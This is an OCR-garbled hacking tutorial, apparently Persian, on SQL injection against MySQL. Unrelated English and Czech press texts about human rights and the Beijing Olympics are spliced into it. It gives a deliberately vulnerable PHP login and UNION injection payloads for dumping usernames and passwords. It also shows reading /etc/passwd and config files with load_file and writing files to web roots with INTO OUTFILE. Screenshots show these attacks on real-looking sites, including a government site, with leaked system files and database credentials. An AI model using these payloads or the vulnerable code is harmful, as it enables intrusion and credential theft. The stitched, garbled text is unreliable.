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<form name="signin” action="signin.php” method=""post”>
Username:<input name="loginid” type="text’><br>
Password:<input name="password” type="password”’><br>
<input name="submit” value="login” type="submit”>
</form>
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<?php

// Connect to your database

mysql_connect(“your.hostaddress.com”, “username”, ”password”) or
die(mysql_error());

mysql_select_db(“Database_name”) or die(mysql_error());

// if login form is submitted

If(isset($_POST][ ‘submit’]))

{
$check = mysql_query(“SELECT * FROM T_Users WHERE
U_Name=""".$_POST][‘loginid’] . “” AND U_Pass=""".
$_POST][ ‘password’] . “’”’) or die(mysql_error());

// Give error if user doesn’t exist

$check2 = mysql_num_rows($check);
if($check2 == 0)
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die(‘invalid username or password’);
else
head(‘userhome.php’);

}
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Vaclav Havel, Desmond Tutu, MEPs call for human rights at Beijing
Olympics

Frague, 31 July 2008 — A group of international intellectual, spiritual and political leaders has
published a public appeal today, calling on the International Olympic Committee to allow full
access to information at Beijing Olympics and on Olympic athletes to express themselves in
support of people whose rights are being violated by the Chinese government. The signatories,
including writer and former Czech president Yaclay Hawel, Archbishop Desmond Tutu, Chinese
dissident YWei Jingsheng, European Parliament Vice-President Edward Mehillan-Scott, and
philosopher André Glucksmann, reject the notion that peaceful promotion of human rights would
canstitute political propaganda prohibited by the Olympic Charter.

Fointing to the fact that human rights are a "universal and inalienable topic, enshrined in
international hurman righis”, they argue: "To speak of human rights is not politics; only authoritarian
and totalitarian regimes try to make it so. To speak of human rights is a doty”

The signatories call on the 10C to allow Qlympic athletes to be ahle to "learn about the real
situation in China and to point out human rights violations freely whenever and wherever in line
with their conscience”. They also call on all Olympians "to use this likery to supportthose whose
freedoms, even at the time ofthe Clympics, are denied by the Chinese government”.

The appeal comes as Olympic Watch, & Prague-hased human rights organization whose
chairman Jan Ruml is among the signatories, is addressing national Olympic teams,
recommending to each a pardicular Chinese prisoner of conscience to adopt and take action i
their support. Details of this campaign will be released on Friday., _b

The full text of the appeal follows helow:
Open Letter ! Appeal

July 2008

Dear Clympic Games Paticipants,

The selection of Beijing for the organization ofthe 2008 Olympic Games was accompanied by the
Chinese government's pledges of visible progress on their respect for human rights. We
understood these as a condition whose fulfillment the International Clympic Committee would
demand. That is how this year's Qlympics could contribute to a greater openness and respect for
international standards of human rights and liherdies in the host country, If the words of the
Qlympic Charter, stating that it is a goal of Olympism to "place sport at the sewice of the
harmonious development of man, with a view to promoting a peaceful society concerned with the
preservation of human dignity®, are to be fulfilled, it is necessary for all Olympians to be able to
learn ahout the real situation in China and {0 point out human rights violations freely whenever and
wherever in ling with their conscience. We call an the International Olympic Committee to make
that possihle,
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Olympic Watch representatives meet |OC tonight at Prague’'s Zefrr—¥
Frague, July 3, 2003, Jan Buml, Acting President ofthe Committee for the 2008 Olympic Games in

a Free and Democratic Country (Olympic VWatch), Michael Zantovsky, and other representatives of
the Committee will meet the Executive Board of the International Clympic Committee tonight. The

meeting will take place during the reception at Frague's Zofin hall.

Senatar Ruml earlier sent a letter on behalf of the Olympic Watch Committee to all the members of
the 10C Executive Board, in which he pointed out the ongoing human rights violations in the
Feople's Republic of China. "We at the Olympic Watch Committee believe that the Chinese
government must improve its human rights record for it to he a good host to the Olympic Games:
one that is true to the great Qlympic ideals of ‘respect for universal ethical principles’, "harmonious
developrment of man' and 'preseration of human dignity'," he wrote in the letter. "In particular, we
are concerned with the ongoing persecution of the opponents of the regime; the use of death
penalty in an environment short on fair trial procedures; the curtailment of freedom of speech and
access to information; and the Beijing government's policies towards Tibet and Taiwan "

Qlympic YWatch representatives will restate this position in their discussion with the [0C Executive
Board tonight. They will alsa inguire about opportunities for regular consultations on the Chinese
government's progress in human rights and about the 10 activities in this field.

Olympic Watch (Committee far the 2008 Olympic Games ina Free and Democratic Country) was
established in Prague in 2001. lts mission is to manitor the human rights situation inthe People's
Republic of China in the run-up to the 2008 Olympic Games and to gather support of key persons
and general public for jits improvement. For moare information on Olympic Watch, please wisit
w0y picweatch org or werite 10 info@olympicwatch.org.

8] ] ic Wvatch13.11.2001

V Eini se poprvé konala konference o AIDS

13. listopadu - % Pekingu se konala preni narodni konference o nemoci AIDS & vird HIY, keré se
Zléastnilo vice nez 2000 delegatl a stovky novinasi.

Wkonny aeditel Programu OSM pro AIDS Peter Piot uved], Ze konference je jasnim signalem ze
strany Binskich 0sadl, Ie otdzce AIDS bude vinovana vesejnd pozornost Einske Usady totid byly
obwidovany z diskriminace obyvatel Einy, kesi AIDS onemochili, 3 z peehlifeni této nemoci.
Skupina sedmi nemocnych lidi, ktesl do Pekingu peicestovali z vesnice Tung-kuan v provincii
Che-nan, ¥&ak nebyla na konferenci vpustina. Jeden z nich Eao Jung @ekl BEC, fe viichni byli
hakageni z krewnich bank, keré ilegalni michaly darovanou krew, a 22 pravi o tom chtili na
konferenci miluvit. W devadesatich letech bylow provincii Che-nan nakaZzeno vice ned pOl milionu lidi
pravi tim, Ze =i nechali odebrat krev od komerénich obchodnik s ke, Wysoky je takeé poget Eidani,
ktesi vir dostali pei transfuzi. Einské dgady uvadiji, 8 na podatku tohoto roku bylo psi transfuzi ke
wirern HIV nakaZeno 50 000 lidi. Einsky ministr zdravotnictd Eang Wen-kehang uved), e celkern je w
Eini nakazeno virem HIY 500 000 lidi, mezindrodni experti viak trdi, fe skuteény poéet nakazenych
je mnoherm wisi ¥ Eini se popreé konala konference o AIDS 13, listopadu -V Pekingu se konala
pntnl narudnl konference o nemoc AIDS & vire HV, které se ziéasthilo vice neZ 2000 delegatu a
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Vaclav Havel, Desmond Tutu, MEPs call for human rights at Beijing
Olympics

Prague, 31 July 2008 — A group of international intellectual, spiritual and political leaders has
published a public appeal today, calling on the International Olmpic Committee to allow full
access to information at Beijing Olympics and on Qlvmpic athletes to express themselves in
support of people whose rights are being violated by the Chinese government. The signatories,
including writer and former Czech president Vaclay Havel, Archbishop Desmond Tuty, Chinese
dissident YWei Jingsheng, European Pardiament Vice-President Edward Mchillan-Scoft, and
philosopher André Glucksmann, reject the notion that peaceful promaotion of human rights would
constitute political propaganda prohihbited by the Olympic Charter.

Fointing to the fact that human rights are a "universal and inalienahle topic, enshrined in
international hurnan rights”, they argue: "To speak of human rights is not politics; only authoritarian
and totalitarian regimes try to rmake it 50, To speak of human rights is 3 duty”

The signataries call on the 10C to allow Olympic athletes to be able to "learn about the real
situation in China and to point out human rights violations freely whenever and wherever in line
with their conscience”. They also call an all Olympians "to use this libertyto support those whose
freedoms, even atthe time of the Olvmpics, are denied by the Chinese government”

The appeal comes as Olmpic ‘Watch, & Prague-based human rights organization whose
chairman Jan Ruml i among the signatories, is addressing national Olmpic teams,
recommending to each a paricular Chinese prisoner of conscience to adopt and take action in
their support. Details ofthis campaign will be released on Friday.

The full text of the appeal follows helow:

Cpen Letter i Appeal
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Vaclav Havel, Desmond Tutu, MEPs call for human rights at Beijing
Olympics

Prague, 31 July 2008 — A group of intemational intellectual, spiritual and political leaders has
published a public appeal today, calling on the International Olympic Committee to allow full
access to information at Beijing Olympics and on Olympic athletes to express themselves in
support of people whose rights are being violated by the Chinese govemment. The signatories,
including writer and former Czech president Vaclay Havel, Archbishop Desmond Tutu, Chinese
disgident YWei Jingsheng, European Parliament Vice-President Edward McMillan-Scoft, and
philosopher André Glucksmann, reject the notion that peaceful promotion of human rights would
constitute political propaganda prohibited by the Olympic Charter,

Fointing to the fact that human rights are a "universal and inalienable topic, enshrined in
international human rights", they argue. "To speak of human rights is not politics; only authoritarian
and totalitarian regimes try to make it so. To speak of human rights is a duty.”

The signatories call on the 10C to allow Qlympic athletes to be able 1o "leam about the real
gituation in China and to point out human rights violations freely whenever and wherever in line
with their conscience. They alsa call on all Olympians "to use this libery to support those whose
freedaoms, even atthe time ofthe Olyrpics, are denied by the Chinese govermment”

The appeal comes as Olympic Yiatch, a Prague-based human rights organization whose
chairman Jan Ruml is among the signatories, is addressing national Olympic teams,
recommending to each & padicular Chinese prisoner of conscience to adopt and take action in
their support. Details of this campaign will be released on Friday

The full text of the appesl follows helow:

Open Letter§ Appeal
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tMySQL 58 @,

Sl Jo 4 g mailioo Ol 0 j3eme g b W5 GLDBMS 3 (S MySQL
! 31 Wl ou ailgd PHP b &5 slacolw Ygoxo 8,410 PHP (wigd 4l g by b &5 (9
Sl ol ouw 0010 Zwo gl ) 38 DBMS (il ilizko sl 5 3 g i (o odliiw! DBMS
cow! MySQL 43 Cuowd o931 30 Lo yLit plod ,I5 1

1 Jlio (51 52 v sd Query 3 Jou pb 53 &1 5345 DBMS if 9

SELECT 1,2,3,4

UNION jgiwd 38 cmols (31 .F ¥ g¥ 5} Oligino b ylaw 4 g (g ¥ b Cunl (F g ani
e Ak 3l

39 DBMS 8¢5 GleMb! a5 9,10 9424 information_schema pb & Database <&
R sogn 3 (S Ogdoo G el BT 50 T slgg g BJgua g Lwilas 9,90
510 3138 T 40 i SS90 plod pb &5 Cuwl TABLES Jgu ¢ il d 3! s J g0
24903 51 9 . il oo TABLE_SCHEMA 3 TABLE_NAME Jgu& 39! peo Sy g5 3

71d=-124 UNION SELECT
FROM INFORMATION_SCHEMA.TABLES

Jou> G pee Jau> 9,51 w1y 993 b 9590 Johaa el lgie st
oo S g 31 o y10 315 T 40 Jolw b tas o sy giw pb &5 Wil e COLUMNS
9 TABLE SCHEMA ¢ TABLE NAME ¢ COLUMN_NAME Js..\? o

243 903 &1 3 il o0 DATA_TYPE

71d=-124 UNION SELECT FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE NAME="T Users’

A 4 (o gid 021 1 Al o 9 Sl Dk AT &1 ilgi oo o Calgd 3 Query ol b
oo 00! Uas g (aw W T 9 31 Wby il At 1y database
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O A0 Cud G 39 user peo Jgur g Miligo mysql ;58 peo utlss b Lo
24909 (5l 93 Wil 0 Password g User T pgo cygiw 99 9319 393 4 1y DBMS

Nd=-124 UNION SELECT FROM mysql.user

0313 oLl i S plod &) JolS' (w yiasd 45" Wil o0 TOOL s (31 33 315° (53 yhogo
o,

W 45 il o0 (990 49 818 51 59 g Cu St 48 45 SQuery 3 190 31 (5 sl 53
2l 60319 518 3 (SHLl Cuomd 2,15 5399

SELECT * FROM T_News WHERE id=<param(O1> AND enable =
true order by Title

IO g2 W g 4190 Uad b puiS 00! ORDER BY jgiwd I paddlg o1 Jb>
a5 3,19 9929 5599 ORDER BY & cuifd 3929 AND 51 g cuwl ool AND yguwd o9
Wb Jol Jo oy 53 0,18 3929 Jo ol 50 S (il Jo sl dguee WS wdgi Cely
4 yguwd DBMS gl cuomd T 0 3ls S (9055 canls b .0 5 caols' 1y Query (gaold!
S g o0 ORI /% 31 90 3F CuolS (51 g T 0 Vs & Obud g lgs 4 g ovols wlue

14903 (51

71d=-124 UNION SELECT 1,2,3,4 FROM T_Users /* AND enable = true order
by Title

14903 (51 39 oo S 30 1y 1d 31 93 O g o0 0L 331 0 31 A5 ol Wb ALY

SELECT * FROM T_News WHERE (id=<param(O1> AND enable = true) order
by Title

... WHERE (id=-124 UNION SELECT 1,2,3,4 FROM T_Users /* AND enable =
true) order by Title

ol O Al 31 93 992 g oo > Slwl Sl 98 Query

Page 25 Black.Shadowes | copyright © 2009

| SOSCSUSOSOSOSOSOSOSUSOSOSOSOSOSOSUSUSOSOSOSOSOSUSOSOSOSOSOSUSOSOSOSOSOSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSUSOSOSOSOSOSOROSOSOSOS0R0RC



SOSOSOSUSUSOSUSUSUSUSOSUSUSOSOSOSUSOSOSUSOSUSOSUSOSOSUSOSUSOSUSOSOSOSOSUSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOS0803C

... WHERE (id=-124) UNION SELECT 1,2,3,4 FROM T_Users /* AND enable =
true) order by Title

Jol cwowd SELECT 40 45 canl (Jolaa 40y o> JSio o931 Jo (sl 92 90 Jo oy
iy 40 Wio O g0 Pl (w g 99 9990 (SaARa0 P S b HU5 (31 Y goo ! BT

News.php =» News || TNews Il T_News Il TbINews Il Tbl_News

23397 Cuwny Al (W g Uad g (o 15 g S10a5 Wb Jgloa P 35 v 3

SELECT * FROM T _News WHERE i1d=-124 union select 1 from
T_News where 1=1 AND enable = true order by Title

R (P9 Cuowd 33 Jof Cuowd Jolua> pU (19 59T b ety ¥ Query 31 &5 jghailod
OIS0 45 Canlr (s g 1LT S Ioha) 530 45’ (5 302 Ll Sl 1y (B0 oS i ooy
ORDER jf (y1gi o dgu o s axio 0 mysql gllad 51 il 4o ilise Il g0
195 ooliwI BY

SELECT * FROM T_News WHERE id=-124 order by 1 union select 1
from T_News where 1=1 AND enable = true order by Title

4> g5 o3 59T Cuwed 1y By g 3103 (g o0 v 45 Wd &5 SORDER BY gy 3 o0liw! b
9 990 P giw 0 lowd Slas il Al 992 9 (i 0 Lo )19 90 (1 40 &5 S
Wl 919 o UL SELECT g9 (slagygaw Sluni Wb a8 9 owo (lad> sl 4l 0929 51
Ly giw OIART (59 (9 WL (O g 0 0018 i Ao o Ilhas &F (S8 JO g 2
3 45 b B 390 amogi gt ko 53 31 gliio (51 Ak St 4 G 31 il 1,
o2 b By g Slaai &5 I 40 (92 (W ol ! T & null Hlwde WS o a3Lo! o gaw
1) d slhas amio plod o,ligd bk 318 E5 Bogiw E9 (Og9 plp Sas g 0 iy

2310 Wl g3 aoldl Calgd (9 G115 gy gaw (90 5 4BLST U5 Al 49 g i 0

SELECT * FROM T_News WHERE id=-124 order by 1 union select
null from T_News where 1=1 AND enable = true order by Title
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SELECT * FROM T_News WHERE id=-124 order by 1 union select
null,null from T_News where 1=1 AND enable = true order by Title

Jotua pb LS 30 395 3L 3,90 Jgua b 989381 b {Query Zumo p 9 (39 59T iy 31 Ay
2 0 JOIN gHo! a1y T ool Cuws

SELECT * FROM T_News WHERE id=-124 order by 1 union select
null,null,null,null from T News, T Users where 1=1 AND enable =
true order by Title

19 41,8 Lnull gl &1, T_Users gy gw pb 1950 8 390 91 30 Jb>
3 Aged w> 85 ool LQuery 48 Ao &g 3 ylghoo DBMS (ol o
3wl U 0018 Zwo g3 333 30 BT (3 pogo

tload_file &b
2957 39 15 T Gligioe g 8 38 (50 15 i 595 o S S ;3T @b !
2R 0 b
load_file(‘/etc/passwd’)

load_file(‘c:\\boot.ini’)
load_file(‘/home/siteHome/htdocs/index.php’)

29 o3 1) Ll Sl O (150 ¢ 99 g (599 Sl g yawwo (iMS b 45 Camlid 3T 9 590 3
il o0 a0 sl 59w 595 ol
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4 - Mozilla Firefo

File

% f ;
6 - c My l\ |j i1teg0ry=-1'+uni0n+select+0,1,_2_ oad_FiIe(',l’etc,l’passwd'-)]‘l,5,6,?,8,9+Fr0m+mysql.user,l’* T,?, 'i

Edit i

ew  History Bookmarks  Tools  Help

|§| Most Visited ’ Getting Started |5 | Latest Headlines |j Customize Links |j Free Hotmail |j Wind o rketplace |j ‘Windows Media |j Windows

= INT -1 & INT+1 = HEX-1 & HEX +1 My3QL MsSOL %S5  Encryption  Encoding  Other

=

Load LRL http: /fwmr. bwe. con/product_selector.php?category=-1'+uniont+select+0,1,2, load file('

Split URL

Execute

fetc/passwd') ,4,5,6,7,8, 4 frontuysgl.user S+

[] Enable Post data  [] Enable Referrer

SIMTEMAP LOGIN REGISTER CONTACT US

Quick Part Search
| |[ Search ]

Site Search

Product Selector

= COMPONENTS Home Products

-+ LINEAR GUIDES i
=+ ACTUATED LINEAR GUIDES daemon::: 2: 2 daemon: fzhin: ishininologin adm::: 34 adm: sarfadm: fzhinhologin oo d: 7 pharizpool

+* ROTARY GLIDES AND SYSTEMS halt:z: 7:0:halt: fshin fshindat mail oS 2 mail darfspoolimail izhininologin nesws:::8:

=+ CUSTOM SOLUTIONS
s ALUMINUM MACHINE FRAMING fzhininolocin .ﬂp:x:1 4:50:FTP Uszer: fearfitpcizhininologin nobocy: = 99: 99 Mobody: £ fzhininolocgin

Request for Quote I fzhin/nalogin rpcuser:xc 2923 RPC Service User: fvarlibinfz:izhininologin

Home = Product Selector » root::0:0:root koot Aindeaszh king1:1:bin:bin ishinnologin
Mok fshindnologin sync:e s 0 sync: ishing bindsync shutdown: <60 shutdowen: fshi

Inewes: uucp: 1 001 4 uucp: varfspooliuuc: fshindnologin operator:x:11:0:operator: froot:
Izhindnologin games:x: 120100 games: usrigames: ishinnologin gopher: 1 3: 30 gopher: dearfigopher:

8 Apache: fvar b bindbash
;59 varfspooliostfic fshininologin distcache:x:94:94: Distocache: & ishininolocgin
Order Now! | naco 28 25 NECD Daemon: £ fzhinf nologin vesa: o 6969 virtual console memary owner: ey
fzhinfnologin haldaemon::x: 6868 HAL daemon:/fshin/nologin rpc: 32 32 Portmapper RPC userl

nfsnobody: 6553465534 Anonymous MFS User: fvarlibinfs: fishininologin sshd:c 74:74:Privilege-

t separated SSH: hvariemptyfsshd: ishinimologin mailman::41:41: GNU Mailing List Manager: usr
Local Cont | Nikdmailman: isbinfnologin webalizer: 6767 Webalizer: har dvvewwusage: ishinfnologin
poap s T T T hvararpvvatch: ishindnologing ntp 3838 fetcintp: ishindnologin rpm: s 3737 fvar
fikdrpm: fzhindnologin named: < 25:25:Mamed: farinamed: ishininologin bigjen:::500:502:: home
Mafajen:bindash rack:x501:501: homedrack bindash leonardo:x: S02:502: Leonardo: home
Why Dua]\lee Neonardo bindbash sergios: 503502 homeszerdio bintosh mysglx 100101 MySGL server: var

? Nikdmysgl bindbash sysopc: 505502 sysop homessysopobintosh mike:x: S06: 502 Mike: homedmike:

Tec.hno.loQY' Minfcsh caahox 507502 caahg oronjob user homelcsahog bintcsh
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©) Northern Cape Provincial Government - Mozilla Firefox
File Edit Yiew History Bookmarks  Tools  Help

@ . c M, {at |l ;uigp?.s-how=_s_p&lD=-2+uni0n+séiect+1_,__?,3_,fl_,_i_oat:l_.___}il.g_(:'-c.:.';,_'l,.boot.injE_)_,_§+Fr0m+m}:-'_sqi_.:use.[,i”.'.‘ ’\? : _' ‘,_
[ Most visited P Getting Started (1] Latest Headlines |:] Customize Links |j Free Hokmail |:| ‘Windows Ma lace |:] Windows Media |:1 Windows

= INT-1 & INT+1 = HEX-1 & HEX +1 MySQL MsSQL %S5  Encryption  Encoding  Other

s LoadURL http: /s northern-cape. gov. za/show. asp ?show=sps =
g% Sl LRL IDb=-Z+tunion+select+l,2,3,4,1load file('C:Y\boot.ini'),6+frontmysql.user/* o
) Execute

[] Enable Post data  [] Enable Referrer

Northern Cape Provincial Government

e

Home | About | Media | Structures | Documents | Yacancies

[ |2 05 sanuary 2009

_E‘:_... ' g
[

» Area of Interest  » Related Sites » Talktous

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" fastdetect
INoExecute=0ptOut

Symbolism 01 January 1900

4

« Back

Done |

sconcat Qb

38 05 o0 319 0Lt 9590 RISy 4 (6 JI1,15 4l y A U 98 JLail (st 2

5 9.9 9

concat(‘ali’,’:’,’reza’) =¥ ‘ali:reza’
SELECT 1,2,concat(username,password),4 FROM T_Users

sgroup_concat Qb

S guisn (S Ay o ghu ST Jguir S S b soled JLail ey

SELECT group_concat(username SEPARATOR ¢:”) FROM T_Users
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o o2 31 7 I S0 L a5 Wl 518 )b sawliolod Query (! gad 48
sl ) LolS oS 1N Lo i 551,15 (uuiS Bio> 1y SEPARATOR iy 451 .3l ook
‘Admin:ali:hamed:yousof’
‘Admin,ali,hamed,yousof’

sunhex ghex b

2P 03l p B g 43T 53959 UlgE 4 1) AL A, S hex @b
39 S 0 Pl 1y & 45 unhex Qb WS 0 (o293 i 4 1y T (Hexadecimal)
ol 31 45 5 0lio (Jg Sgiion 0310 il aho 43 (S Ay T po L0 g0
20 55 0ol &g (il 31 cf g 0 L 3O < gui 0 010 i lod O g 0 DNl g 0010

7id=-1 UNION SELECT 1,'A' FROM T_Users
?71d=-1 UNION SELECT 1,unhex(hex(username)) FROM T_Users

schar @b

Ko JPlio JS1,0 4 1) S 2 050 (59955 LIgE 4 1) Swl &5 Wi &6 (!
&6 L W T o0 30 298 g 4 1) OT 9085 Jaio oo 4 1y S (S0
WS 0 9 Jho gl .0 o5 oot BQuery 40 Jgd JA ceods 31 (90 35 oolaiw! (sl 9 195
JE Codls (51,19 (5399 1 g AT 0 w s 15 5999 B &5 Cul i diligd 550k Al
30T o A3La1 (T Jud )\ cuodls S 093 Jod

71d=124 UNION SELECT 1,2 FROM T_Users WHERE username
LIKE ‘%admin%’

239w S b 0 ou b p 8

... WHERE 1d=124 UNION SELECT 1,2 FROM T Users WHERE
username LIKE \‘%admin%\’

Oldos 4z 40 il o T 40 s sl cely Query 40\ pINs 3 giv 0 oS &5 (g ysbailod
J8 e 31 Query 1 Cuomd b 30 Wb JSio 3 I (512 Sgiion 42190 s b G35 P
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W 1y %admin% b w51,15 1l 195 o Query cpf 40 digod gl 045 oolaiwt Jod
2319 41,8 char @b 49 g8 ) Jowwd ascii

... WHERE 1d=124 UNION SELECT 1,2 FROM T_Users WHERE
username LIKE CHAR(37, 97, 100, 109, 105, 110, 37)

Al hos
139350 3 4 OR Jos plowi! jobio 49 yKos (1

212 => 1
‘ab’l’ab’ = 1
‘@’ l’'b> =0

239350 35 4 G AND sl 3w & shos
6&2=>2
6&1=20

sinto dumpfile ginto outfile i ygawsd
29 g o0 0OLA1 0015 olUL 31 (g g5 sl ygbiio 4 O giuwd (!

SELECT user_name,password FROM T_Users into outfile
‘/home/siteHome/htdocs/index2.php’

39 893 Php SLRL Sbu! jgliio 4 (yIgien Ol ygiuwd (3 H Sguig0 oWd &5 (5 shailen
S9) shell élﬂ“‘ ‘5‘}’ ,_;33) Qg‘ )‘ ouw! 60 )L“u@ 39w (S9) Cdglu oo u?ud"é .é; Y F
ol T & (S (91 shell Gblas uw (CSlo Jguo S Y1950 + g 0 0! Colw

o 5 oyl Php Wgund b ol o 38 T 31 Culgd j0 g8 8
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3 Northern Cape Provincial Government - Mozilla Firefox
File  Edit  Wjew History Bookmarks Tools  Help

@ o c 4 {at I: 33),2,3,4,5, 6+ rom-+mysgl.user ¥ finko** foutfile 4+ D0 websiidohl | Test_Page. htm'f* f_‘:'( % :';-'_ qgle ,'
@ IMost Visited ’ Getting Started |5 | Latest Headlines |j Customize Links |:] Free Hotmail |j M\ls Marketplace |j ‘Windows Media |j Windows
= INT-1 & INT+1 = HE¥-1 & HEX+1 MySQL Ms5QL %55  Encryption  Encoding  Other
4 loadURL  {finly 4 Teat!!!)--»{Conwert to mysgql char) CHAR(79,110,108,121,32,52,32,84,101,97,116,33,33,33)
. execute this dquery :
i,
g% SHitLRL http: //stmmr. northern-cape. gov. za/show. asp 2show=sps
3] Execute ID=-Z24+union+select+CHAR(79,110,108,121,32,52,32,84,101,97,116,33,33,33) ,2,3,4, 5, 6+frontuysgl.user /%% /into
S outfiles/ s £1D: )\ ebsy \dohy \Test Page.htm )i+
[] Enable Post data [ Enable Referrer
MNorthern Cape Provincial Govern... ﬁ | httpf fww,doh. gov.za/Test_Page.htm @ -

Northern Cape Provincial Government

T

AR

} Z i ,ﬁi ADCDB Fields error B00a0cc1
1B % ol
%@ ?’ ltem cannot be found in the collection corresponding to the requested name or ordinal.

%m,,c-‘“&

Sertarem fshoweasp, line B3

Done

) Mozilla Firefox |Z|E|r$__<|
File  Edit Miew History  Bookmarks Tools  Help

@ 2 c M, Y I;_ éhtge_:_,!’_,l’_\:\lww.doh._g_ov.z_Test_Page.htm | LR |

[&] Most visited # Getting Started (51| Latest Headlines |:] Customize Links |j Free Hokmail |:| ‘Windows Marketplace |:] Windows Media |:] ‘Windows
= INT-1 & INT+1 = HEX-1 & HEX+1 MySQL MsSQL %55 Encryption  Encoding  Other
@ LoadURL http: /. northern-cape., gov. za/shom, asp?shog=sp
0 siwR ID=-Z+union+select+CHAR (79,110,108,121,32,52,32,84,101,97,116,33,33,33),2,3,4, 5, b frontuysql. user /7* /inta 1l
= /%% joutfile/+*/ D1\ \WebsY, dohy (Test_Page.hea} /+
L] Execute
[[] Enable Post data [ Enable Referrer
Morthern Cape Provincial Governmenk al | http:/ /www.doh..../Test_Page.htm E -
(Only4Teat!!! 23456 ]
Done
-
suser Qb

MBS0 i |y i (53> 315

:database qU
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MBS 0 (b 1 WS 0 03liit (T 31 S0 0 590 Colw 45 (51 0318 oIl

ssubstr b
SN0 5 0 9 15 00 0010 sdiy 3T (of Ay 9y QU !

SELECT substr(‘abed’, 3, 2) =» 'cd'
Ol 1) &by Joboogw g 4y ) S o s09 ¢ 8 90 4y Jol log¥ 3T

A5 Sl ol A5 N 40 TS (T 18 Sl AT 5 9L @Blg0 I sl 3O LABS 0
b g Cunf ol A gai w1515 Yo JInio 4 0,410 0 4R 1 pb &S &5 (590 Mo b o

ol 3 f9i oo Lrial 49 S lod amio 40 1) Cuwl 51,15 Y &5 30y GAlS pdlgs 0
23 55 0Ll 2

SELECT 1,substr(password,0,10) FROM T_Users
SELECT 1,substr(password,10,10) FROM T_Users

tewlload_file Qb jf ooliw! pld & QU (91 pgo S 9,0 31 (9

SELECT substr(load_file('/home/site/index.php'),1000,500),2
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p

) pibualill o3l o3l 2l o)l - Mozilla Firefox

File Edit Wiew History Bookmarks  Tools  Help
@ A c o (R | Ebsitas,l’www‘Secrat.com,l'www,l’admin,l’config.php'),15,60),? From tabTopmenu where (1=1 =% - . Joigle )'-
|81 Most visited P Getting Started 5] Latest Headlines |:] Customize Links \j Free Hokmail |j Windo%p\ace ﬂ windows Media ﬂ windows
= INT-1 & INT+1 = HEX-1 & HEX+1 MySOL MsSQL %55 Encryption  Encoding  Other
= Load URL http: //Awmmr. Secret. con/?act=topMenusnid=-2) union select 1,2,3,4,5( 'fusr/localswebzites
g% Split LRL Awnr, Secret. con/wwwsaduinsconfig. php! ],7 from tabTopmernu where [(l=1 4
] Execute
[] Enable Post data [} Enable Referrer
1] ] S Bl B3 | . phpMyAdmin 2.10.1 | aiess o tlocahastf || -
d =
=
<R 1) et
: U"I F\ﬂﬂ|
£ ko
il U el AubigBlils gaiga nap | English
Francais | Pycomii
3 Deutsch
- Al gl puall JLAT
bt
it g it
ildogin absan €
danddl] (AL | el T
ol o bl | L Ao | 5 0 i et el
kg Al ~ piba @
Site developed by ALFANUS LTD oadh b i) gan @
eted sy O
i g cides £
v
Diane

%3 phpMyAdmin 2.10.1 - Mozilla Firefox

File Edit ¥ew History Bookmarks Tools Help
@ = i w tar | (betpsjjw. Secret. comfphpMyadming | > | [&-]s000e P
IEI Mast Visited ’ Getting Starked |5 | Lakest Headlines ﬂ Zuskamize Links |l] Free Hokrmail \:I Windows Marketplace ﬂ ‘Windows Media |:| Windows
= INT-1 & INT+1 = HEX-1 & HEX+1 MySQL  MsSQL %55 Encryption  Encoding Other
gl LoadURL sql_connect|"mysgl”, ft,en:m:ism”, "qazxd)ﬂ] or dief
i Sername: CErrorisu
gﬂ FRBUEL Password: gazxdr di
I3 Execute
[] Enahle Post data [[] Enable Referrer
ﬁ okl 8l LSyl leal] [ _' i, phpMyAdmin 2.10.1 B | s = . allocahost i -
phpMuyAdn
Welcome to phpMyAdmin 2.10.1
rLanguage @
| English (i50-8859-1) v|
rLogin
~
Username: terrorism |
Password: — |
\
@ Cookies must be enabled past this point
Done
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2 e, .= = f localhost f terrorism | phpMyAdmin 2.10.1 - Mozilla Firefox
File Edt ¥iew Higtory Bookmarks Tools  Help

@ - c far (L [Ptapstfonnn.Secret.com/pheMyadin/indes phatlang=eniso-B859-Leconvcharset=isa-s > - | [[G-|
[ Mast visited $P» Getting Started |5 Latest Headlines | | Customize Links | | Free Hotmail | ] wWindows Marketplace | ] Windows Media | | windows
= INT-1 @ IMT+1 = HEX-1 & HEX+1 MySQL MsSQL XS5 Encryption Encoding  Other

& LoadURL

B spituRL
Execibs

[] Enable Post data [ ] Enable Referrer

] epin L2l oty 1yl ik, PhpMyAdmIn 2.10. 1 e
phpilyAdenin &3 Server: localhost » & Database: terrorism

--. / loca... (=]

@ Ef Structure .msSqQL 'Search & Query @& Export &ilmport

%¢ Operations g2 Privileges [EDrop

Database _
iterrorism (15) i~ Table
(Databases)
information_scherna (17) 1 files =
mysgl (17
[0 imagesArchive =
terrarism.old (0}
test (1) [0 imgs =
B tabAsticles2 _
B tabArticles3 [0 tabArticles
B tabHome
B tabMews i
B tabMLSubscribers ERpetariciaz
B tabllLSubseribers_temp = =
B tabRightmenu [0 tabArticles3
B tabSsmenu —
B tabSubmenu [0 tabHome
B tabTopmenu
B tablisers [0 tabNews =
— A AR D e L = i
<

Action

:|

T JT S T (N (1 [ U TR U TR
i S RS R GRs WS R: IR R

Records Type
@

m * 3 WIS AM
o[ 0 WISAM
M * 1,024 WyISAM
[ 1,420 WIS AR
m > 1,122 WISAM
m x 1,122 pyiSAM
m > 7 WYISAM
[ 126 MiylSAM
. TR

hebre

hebre—

hebre

hebre

hebre

hebre

hebre

hebre

SELECT CAST('1' AS unsigned integer)
SELECT CAST('123" AS char)

SELECT if(1=1, 'foo', 'bar") = 'foo'

@ @version / version()
@ @datadir / datadir()

SOSOSOSUSUSOSUSUSUSUSOSUSUSOSOSOSUSOSOSUSOSUSOSUSOSOSUSOSUSOSUSOSOSOSOSUSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOS0803C

scast Qb

ilo E9 oo &b

SELECT CASE WHEN(1=1) THEN 'A' ELSE 'B' END = 'A’

aif 3 ,:.Né

32997 Ly o paii g b g Jlost

3case yomwd

:datadir g version &lgd
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tMSSQL &,y

S o kbl o g Sale 5 5 5 0o 50818 oS3l 31 5 DBMS oo
wilo (Jgnxo 33 Mlion © 90 99 4 59w 3 30§y ¥ «3,10 Windows by 9w 39
